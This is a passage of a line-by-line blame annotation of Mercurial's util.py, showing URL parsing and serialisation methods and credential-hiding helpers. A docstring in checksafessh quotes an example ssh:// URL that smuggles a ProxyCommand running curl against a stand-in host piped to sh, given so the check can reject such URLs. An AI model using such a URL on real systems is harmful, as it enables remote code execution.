43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3124 for a in (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3125 b'scheme',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3126 b'user',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3127 b'passwd',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3128 b'host',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3129 b'port',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3130 b'path',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3131 b'query',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3132 b'fragment',
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3133 ):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3134 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3135 if v is not None:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3136 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3137 return b'<url %s>' % b', '.join(attrs)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3138
33038 ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	3139 def __bytes__(self):
14147 617483af1cc0 test: test that backslash is preserved by the url class Mads Kiilerich <mads@kiilerich.com> parents: 14146 diff changeset	3140 r"""Join the URL's components back into a URL string.
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3141
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3142 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3143
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3144 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
15452 de7e2fba4326 util: don't encode ':' in url paths Mads Kiilerich <mads@kiilerich.com> parents: 15392 diff changeset	3145 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3146 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3147 'http://user:pw@host:80/?foo=bar&baz=42'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3148 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3149 'http://user:pw@host:80/?foo=bar%3dbaz'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3150 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3151 'ssh://user:pw@[::1]:2200//home/joe#'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3152 >>> bytes(url(b'http://localhost:80//'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3153 'http://localhost:80//'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3154 >>> bytes(url(b'http://localhost:80/'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3155 'http://localhost:80/'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3156 >>> bytes(url(b'http://localhost:80'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3157 'http://localhost:80/'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3158 >>> bytes(url(b'bundle:foo'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3159 'bundle:foo'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3160 >>> bytes(url(b'bundle://../foo'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3161 'bundle:../foo'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3162 >>> bytes(url(b'path'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3163 'path'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3164 >>> bytes(url(b'file:///tmp/foo/bar'))
14313 a389dd285282 util: make str(url) return file:/// for abs paths again Peter Arrenbrecht <peter.arrenbrecht@gmail.com> parents: 14271 diff changeset	3165 'file:///tmp/foo/bar'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3166 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
15611 ec8a49c46d7e merge with stable Matt Mackall <mpm@selenic.com> parents: 15513 15609 diff changeset	3167 'file:///c:/tmp/foo/bar'
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	3168 >>> print(url(br'bundle:foo\bar'))
14147 617483af1cc0 test: test that backslash is preserved by the url class Mads Kiilerich <mads@kiilerich.com> parents: 14146 diff changeset	3169 bundle:foo\bar
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	3170 >>> print(url(br'file:///D:\data\hg'))
20106 c33d9217e99d util: url keeps backslash in paths Simon Heimberg <simohe@besonet.ch> parents: 20000 diff changeset	3171 file:///D:\data\hg
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3172 """
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3173 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3174 s = self.path
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3175 if self.scheme == b'bundle':
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3176 s = b'bundle:' + s
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3177 if self.fragment:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3178 s += b'#' + self.fragment
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3179 return s
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3180
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3181 s = self.scheme + b':'
14313 a389dd285282 util: make str(url) return file:/// for abs paths again Peter Arrenbrecht <peter.arrenbrecht@gmail.com> parents: 14271 diff changeset	3182 if self.user or self.passwd or self.host:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3183 s += b'//'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3184 elif self.scheme and (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3185 not self.path
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3186 or self.path.startswith(b'/')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3187 or hasdriveletter(self.path)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3188 ):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3189 s += b'//'
15609 8f4bad72d8b1 util: fix url.__str__() for windows file URLs Patrick Mezard <pmezard@gmail.com> parents: 15505 diff changeset	3190 if hasdriveletter(self.path):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3191 s += b'/'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3192 if self.user:
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3193 s += urlreq.quote(self.user, safe=self._safechars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3194 if self.passwd:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3195 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3196 if self.user or self.passwd:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3197 s += b'@'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3198 if self.host:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3199 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3200 s += urlreq.quote(self.host)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3201 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3202 s += self.host
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3203 if self.port:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3204 s += b':' + urlreq.quote(self.port)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3205 if self.host:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3206 s += b'/'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3207 if self.path:
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3208 # TODO: similar to the query string, we should not unescape the
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3209 # path when we store it, the path might contain '%2f' = '/',
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3210 # which we should not escape.
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3211 s += urlreq.quote(self.path, safe=self._safepchars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3212 if self.query:
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3213 # we store the query in escaped form.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3214 s += b'?' + self.query
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3215 if self.fragment is not None:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3216 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3217 return s
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3218
33038 ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	3219 __str__ = encoding.strmethod(__bytes__)
ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	3220
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3221 def authinfo(self):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3222 user, passwd = self.user, self.passwd
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3223 try:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3224 self.user, self.passwd = None, None
31841 9ff5a124d111 py3: replace str() with bytes() Pulkit Goyal <7895pulkit@gmail.com> parents: 31811 diff changeset	3225 s = bytes(self)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3226 finally:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3227 self.user, self.passwd = user, passwd
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3228 if not self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3229 return (s, None)
15028 eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3230 # authinfo[1] is passed to urllib2 password manager, and its
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3231 # URIs must not contain credentials. The host is passed in the
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3232 # URIs list because Python < 2.4.3 uses only that to search for
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3233 # a password.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3234 return (s, (None, (s, self.host), self.user, self.passwd or b''))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3235
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3236 def isabs(self):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3237 if self.scheme and self.scheme != b'file':
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3238 return True # remote URL
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3239 if hasdriveletter(self.path):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3240 return True # absolute for our purposes - can't be joined()
33108 d9962854a4a2 py3: add b'' to make the regex pattern bytes Pulkit Goyal <7895pulkit@gmail.com> parents: 33106 diff changeset	3241 if self.path.startswith(br'\\'):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3242 return True # Windows UNC path
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3243 if self.path.startswith(b'/'):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3244 return True # POSIX-style
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3245 return False
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3246
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3247 def localpath(self):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3248 if self.scheme == b'file' or self.scheme == b'bundle':
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3249 path = self.path or b'/'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3250 # For Windows, we need to promote hosts containing drive
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3251 # letters to paths with drive letters.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3252 if hasdriveletter(self._hostport):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3253 path = self._hostport + b'/' + self.path
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3254 elif (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3255 self.host is not None and self.path and not hasdriveletter(path)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3256 ):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3257 path = b'/' + path
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3258 return path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3259 return self._origpath
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3260
20353 0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	3261 def islocal(self):
0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	3262 '''whether localpath will return something that posixfile can open'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3263 return (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3264 not self.scheme
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3265 or self.scheme == b'file'
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3266 or self.scheme == b'bundle'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3267 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3268
20353 0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	3269
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3270 def hasscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3271 return bool(url(path).scheme)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3272
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3273
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3274 def hasdriveletter(path):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3275 return path and path[1:2] == b':' and path[0:1].isalpha()
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3276
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3277
14825 de9eb6b1da4f util: rename the util.localpath that uses url to urllocalpath (issue2875) Mads Kiilerich <mads@kiilerich.com> parents: 14766 diff changeset	3278 def urllocalpath(path):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3279 return url(path, parsequery=False, parsefragment=False).localpath()
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3280
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3281
33648 0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3282 def checksafessh(path):
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3283 """check if a path / url is a potentially unsafe ssh exploit (SEC)
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3284
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3285 This is a sanity check for ssh urls. ssh will parse the first item as
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3286 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server\|sh/path.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3287 Let's prevent these potentially exploited urls entirely and warn the
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3288 user.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3289
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3290 Raises an error.Abort when the url is unsafe.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3291 """
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3292 path = urlreq.unquote(path)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3293 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3294 raise error.Abort(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3295 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3296 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3297
33648 0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3298
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3299 def hidepassword(u):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3300 '''hide user credential in a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3301 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3302 if u.passwd:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3303 u.passwd = b'***'
31841 9ff5a124d111 py3: replace str() with bytes() Pulkit Goyal <7895pulkit@gmail.com> parents: 31811 diff changeset	3304 return bytes(u)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3305
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3306
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3307 def removeauth(u):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3308 '''remove all authentication information from a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3309 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3310 u.user = u.passwd = None
37366 b23e3cc1afd4 py3: return bytes from util.removeauth() Pulkit Goyal <7895pulkit@gmail.com> parents: 37322 diff changeset	3311 return bytes(u)
14515 76f295eaed86 util: add helper function isatty(fd) to check for tty-ness Idan Kamara <idankk86@gmail.com> parents: 14313 diff changeset	3312
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3313
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3314 timecount = unitcountfn(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3315 (1, 1e3, _(b'%.0f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3316 (100, 1, _(b'%.1f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3317 (10, 1, _(b'%.2f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3318 (1, 1, _(b'%.3f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3319 (100, 0.001, _(b'%.1f ms')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3320 (10, 0.001, _(b'%.2f ms')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3321 (1, 0.001, _(b'%.3f ms')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3322 (100, 0.000001, _(b'%.1f us')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3323 (10, 0.000001, _(b'%.2f us')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3324 (1, 0.000001, _(b'%.3f us')),
